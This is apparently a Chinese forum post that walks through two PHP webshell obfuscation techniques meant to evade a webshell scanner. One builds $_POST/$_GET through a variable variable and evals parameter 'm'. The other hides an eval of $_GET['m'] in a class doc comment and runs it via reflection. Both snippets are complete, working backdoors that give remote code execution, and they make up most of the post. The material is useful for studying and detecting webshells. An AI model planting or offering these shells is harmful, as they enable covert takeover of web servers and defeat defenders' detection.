写在前面:两天前说好的分析脚本,现在就简单分析两个示例。本人菜鸟一个,主要是大家能一起学习。D哥,没有针对你的意图啊,我初中的时候还用啊D注入工具呢。。。
前两天的样本,想必D哥已经入库了。不过为啥是已知后门,感觉是还没没时间写匹配,采取的应急措施吧?
姿势一:可变变量数组 示例代码:
<?php $a = 'GET'; //$a = 'POST'; $b = '_'; $c = $b.$a; foreach($$c as $key => $value){ if($key == "m"){ eval($value); } }?>简要分析:咳咳,变量a和b是为了逗比而已,无实际意义,要真要说有意义的话就是破坏_POST字符串。$$c这个可变变量就代表着$_POST数组,当数组成员为m(也就是$_POST['m'])的时候执行eval。
姿势二:反射类获取注释 示例代码: [size=0.9em]PHP
<?php /** * eval($_GET[m]); */ class Test { } $rc = new ReflectionClass('Test'); //建立反射类的一个对象 $comment = $rc->getDocComment(); //执行反射类的一个成员函数,获取完整的注释。 $pos1 = strpos($comment,'eval'); //标记eval开始的位置 $pos2 = strpos($comment,';'); //标记结束的位置 $len = $pos2 - $pos1 + 1; //获取语句长度 $cmd = substr($comment,$pos1,$len); //按长度截取字符串 eval($cmd);?>
|